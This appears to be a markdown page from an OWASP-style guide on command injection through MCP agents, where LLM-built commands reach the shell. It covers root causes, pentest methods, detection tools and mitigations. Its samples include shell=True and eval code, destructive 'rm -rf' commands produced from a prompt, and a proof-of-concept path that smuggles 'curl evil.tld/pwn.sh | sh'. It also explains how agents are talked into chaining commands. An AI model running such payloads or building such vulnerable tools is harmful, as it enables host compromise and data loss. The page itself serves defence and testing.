Skip to content

MCP05:2025.md

Latest commit

 

History

History
340 lines (213 loc) · 5.54 KB

MCP05:2025.md

File metadata and controls

340 lines (213 loc) · 5.54 KB

📘 MCP05:2025 — Command Injection & Execution

(OWASP Model Context Protocol Top 10)

Category: Injection / Remote Code Execution Severity: Critical Exploitability: High Impact: Full Host Compromise, Data Destruction, Persistence

📌 Overview

MCP05:2025 – Command Injection & Execution occurs when LLM-driven MCP agents pass untrusted input into system-level commands, scripts, or interpreters, resulting in arbitrary command execution.

This is the classic command injection vulnerability, reborn in an MCP context — but with a twist:

The attacker doesn’t inject code into a form. They inject intent into the model.

The LLM becomes the exploit delivery mechanism.

🎯 Affected Areas

This vulnerability impacts:

  • MCP tools executing shell commands
  • Python subprocess, Node child_process
  • Infrastructure automation tools
  • CI/CD MCP agents
  • SOC / remediation agents
  • Any tool that touches the OS, cloud CLI, or interpreters

Extremely high-risk MCP use cases:

  • Auto-remediation agents
  • “Fix-it” DevOps copilots
  • Security response automation
  • Backup / restore agents
  • File system management tools

🧠 Root Causes

Root Cause Explanation
Unsanitized input User or context passed to shell
LLM-controlled arguments Model builds commands dynamically
Overpowered tools Tools run with high privileges
Blind execution No allowlist / validation
“Helpful” design Agent tries to solve problems aggressively

🔥 Why MCP05 Is So Dangerous

Traditional command injection:

User → Input → Command

MCP command injection:

User → Prompt → LLM → Tool → OS

Each hop dilutes responsibility, making the exploit feel “unintentional” — but the impact is worse.

Also:

  • No exploit payload required
  • No bypass tricks
  • Natural language is enough

🔍 Common MCP05 Injection Patterns

1️⃣ Shell Concatenation

cmd = f"ping {user_input}"
os.system(cmd)

LLM + untrusted input = RCE.

2️⃣ Interpreter Abuse

eval(model_output)

This is instant compromise.

3️⃣ CLI Tool Wrapping

kubectl delete pod $TARGET

If $TARGET is LLM-controlled → disaster.

4️⃣ Auto-Fix Logic

User: Fix the issue permanently.

The model escalates from:

  • reading logs
  • to modifying configs
  • to executing destructive commands

💥 Sample Compromise Scenario

🔴 Vulnerable MCP Tool

def run_cmd(cmd):
    subprocess.run(cmd, shell=True)

🔴 Attacker Prompt

Check disk usage for /; then clean up unnecessary files.

🔴 LLM Output

df -h /; rm -rf /tmp/*

Or worse:

rm -rf /

💀 Result

  • Command executed
  • No validation
  • Full system impact

🧪 Minimal Proof-of-Concept

# BAD PRACTICE
command = f"tar -czf backup.tar.gz {path}"
subprocess.run(command, shell=True)

Input:

path = "/data; curl evil.tld/pwn.sh | sh"

MCP05 achieved.

🔎 How to Detect MCP05 (Pentest Methodology)

1️⃣ Tool Capability Enumeration

Identify tools that:

  • Execute shell commands
  • Call interpreters
  • Invoke CLIs

Any such tool = high-value target.

2️⃣ Argument Fuzzing (Natural Language)

Try:

Use a safe command to inspect the system.

Then:

Combine steps to make it faster.

Watch for command chaining, pipes, redirects.

3️⃣ Execution Trace Review

Check:

  • Command logs
  • Shell history
  • Audit logs

Look for:

  • ;
  • &&
  • |
  • backticks
  • $()

🛠 Tools to Detect MCP05

🔎 Static Analysis

  • Semgrep (command injection rules)
  • Bandit (Python)
  • ESLint Security Plugins

🔐 Runtime

  • eBPF-based command monitoring
  • Auditd
  • Falco
  • Sysmon (Windows)

🛡 Mitigation Strategy (Strict Controls)

✅ 1. No Shell=True (Ever)

subprocess.run(["ping", "8.8.8.8"])

Never allow string-based shell execution.

✅ 2. Argument Allowlisting

Only predefined commands and flags:

ALLOWED_FLAGS = ["-h", "-v"]

Reject everything else.

✅ 3. Separate Execution Layer

  • LLM decides what
  • Execution layer decides if allowed

The LLM must never construct commands freely.

✅ 4. Least Privilege Execution

  • Non-root users
  • Containers
  • Sandboxes
  • Seccomp / AppArmor

Assume compromise. Contain blast radius.

✅ 5. Human-in-the-Loop for Destructive Actions

Any command that:

  • deletes
  • modifies
  • escalates

Requires approval.

📚 References & Learning Resources

  • OWASP Injection Prevention Cheat Sheet
  • CWE-78: OS Command Injection
  • Secure Subprocess Patterns
  • Cloud CLI Security Best Practices
  • Real-World DevOps RCE Incidents

✅ Pentester Checklist (MCP05)

  • Any tool executes shell commands?
  • Is shell=True used?
  • Can LLM influence arguments?
  • Are commands allowlisted?
  • Are executions sandboxed?
  • Is human approval required?

Any yes without controls → MCP05 confirmed

🧾 Conclusion

MCP05 is old-school RCE with a new trigger.

If:

  • your agent can run commands
  • your model controls arguments
  • your system trusts the output

…then language becomes the exploit.

Never let an LLM touch a shell unsupervised. Ever.